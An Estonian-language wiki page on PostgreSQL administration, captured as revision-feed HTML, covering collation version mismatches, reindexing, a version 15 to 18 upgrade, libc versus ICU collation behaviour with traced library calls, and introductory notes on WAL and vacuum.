2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
Mõisted&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4211</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4211"/>
		<updated>2026-06-15T07:20:37Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* ICU - International Components for Unicode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
